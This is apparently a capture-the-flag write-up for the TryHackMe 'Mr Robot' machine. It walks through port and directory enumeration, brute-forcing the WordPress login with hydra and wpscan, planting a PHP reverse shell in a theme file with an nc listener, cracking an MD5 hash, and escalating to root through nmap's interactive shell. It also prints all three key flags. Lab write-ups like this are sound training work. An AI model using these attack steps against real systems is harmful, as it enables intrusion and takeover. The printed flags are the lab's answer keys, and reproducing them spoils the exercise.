MR Robot THM
11/19/2022

Enumeration

nmap -sV -sC -p- -T4 10.10.137.131

```
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-server-header: Apache
```

gobuster dir -u http://10.10.137.131 -w /usr/share/wordlists/dirb/common.txt

```
/.hta                (Status: 403) [Size: 213]
/.htaccess           (Status: 403) [Size: 218]
/.htpasswd           (Status: 403) [Size: 218]
/0                   (Status: 301) [Size: 0] [--> http://10.10.137.131/0/]
/admin               (Status: 301) [Size: 235] [--> http://10.10.137.131/admin/]
/atom                (Status: 301) [Size: 0] [--> http://10.10.137.131/feed/atom/]
/audio               (Status: 301) [Size: 235] [--> http://10.10.137.131/audio/]
/blog                (Status: 301) [Size: 234] [--> http://10.10.137.131/blog/]
/css                 (Status: 301) [Size: 233] [--> http://10.10.137.131/css/]
/dashboard           (Status: 302) [Size: 0] [--> http://10.10.137.131/wp-admin/]
/favicon.ico         (Status: 200) [Size: 0]
/feed                (Status: 301) [Size: 0] [--> http://10.10.137.131/feed/]
/Image               (Status: 301) [Size: 0] [--> http://10.10.137.131/Image/]
/image               (Status: 301) [Size: 0] [--> http://10.10.137.131/image/]
/images              (Status: 301) [Size: 236] [--> http://10.10.137.131/images/]
/index.html          (Status: 200) [Size: 1188]
/index.php           (Status: 301) [Size: 0] [--> http://10.10.137.131/]
/intro               (Status: 200) [Size: 516314]
/js                  (Status: 301) [Size: 232] [--> http://10.10.137.131/js/]
/license             (Status: 200) [Size: 309]
/login               (Status: 302) [Size: 0] [--> http://10.10.137.131/wp-login.php]
/page1               (Status: 301) [Size: 0] [--> http://10.10.137.131/]
/phpmyadmin          (Status: 403) [Size: 94]
```

/rdf (Status: 301) [Size: 0] [--> http://10.10.137.131/feed/rdf/]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
/robots.txt (Status: 200) [Size: 41]
/rss (Status: 301) [Size: 0] [--> http://10.10.137.131/feed/]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.137.131/feed/]
/sitemap (Status: 200) [Size: 0]
/sitemap.xml (Status: 200) [Size: 0]
/video (Status: 301) [Size: 235] [--> http://10.10.137.131/video/]
/wp-admin (Status: 301) [Size: 238] [--> http://10.10.137.131/wp-admin/]
/wp-content (Status: 301) [Size: 240] [--> http://10.10.137.131/wp-content/]
/wp-config (Status: 200) [Size: 0]
/wp-cron (Status: 200) [Size: 0]
/wp-includes (Status: 301) [Size: 241] [--> http://10.10.137.131/wp-includes/]
/wp-links-opml (Status: 200) [Size: 227]
/wp-load (Status: 200) [Size: 0]
/wp-login (Status: 200) [Size: 2671]
/wp-settings (Status: 500) [Size: 0]
/wp-signup (Status: 302) [Size: 0] [--> http://10.10.137.131/wp-login.php?action=register]
/wp-mail (Status: 500) [Size: 3064]
/xmlrpc (Status: 405) [Size: 42]
/xmlrpc.php (Status: 405) [Size: 42]

http://10.10.137.131/robots.txt
User-agent: *
fsocity.dic
Key-1-of-3.txt 073403c8a58a1f80d943455fb30724b9

Initial Foothold

To figure out the username of the wordpress site
hydra -V -L fsocity.dic -p random 10.10.137.131 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username'

80][http-post-form] host: 10.10.137.131 **login: Elliot** password: random

Deduping the word list
wc -l fsocity.dic
858160 fsocity.dic

sort fsocity.dic | uniq > fsocity_sorted.dic

wc -l fsocity_sorted.dic
11451 fsocity_sorted.dic

wpscan -v -U usernames.txt -P fsocity_sorted.dic --url http://10.10.137.131/wp-login

Username: **Elliot**, Password: **ER28-0652**

In Edit Themes, I updated the 404.php page to contain a php rev shell.

Then I browsed to **http://10.10.137.131/wp-content/themes/twentyfifteen/404.php**
nc -lvnp 4444

$ whoami
daemon
$ pwd
/

daemon@linux:/home/robot$ **cat password.raw-md5**
Robot:c3fcd3d76192e4007dfb496cca67e13b

Md5 cracked password: **abcdefghijklmnopqrstuvwxyz**

daemon@linux:/home/robot$ **su robot**
Password:
robot@linux:~$ whoami
robot
robot@linux:~$ ls -laF
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 ./
drwxr-xr-x 3 root root 4096 Nov 13 2015 ../
-r-------- 1 robot robot   33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13 2015 password.raw-md5
robot@linux:~$ **cat key-2-of-3.txt**
822c73956184f694993bede3eb39f959

Privilege Escalation

nmap -v

Starting nmap 3.81 (http://www.insecure.org/nmap/) at 2022-11-19 21:38 UTC
No target machines/networks specified!
QUITTING!
robot@linux:/$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 (http://www.insecure.org/nmap/)
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh

 # whoami
whoami
root

 # ls /root/
ls /root/
firstboot_done key-3-of-3.txt

 # cat /root/key-3-of-3.txt
cat /root/key-3-of-3.txt

04787ddef27c3dee1ee161b21670b4e4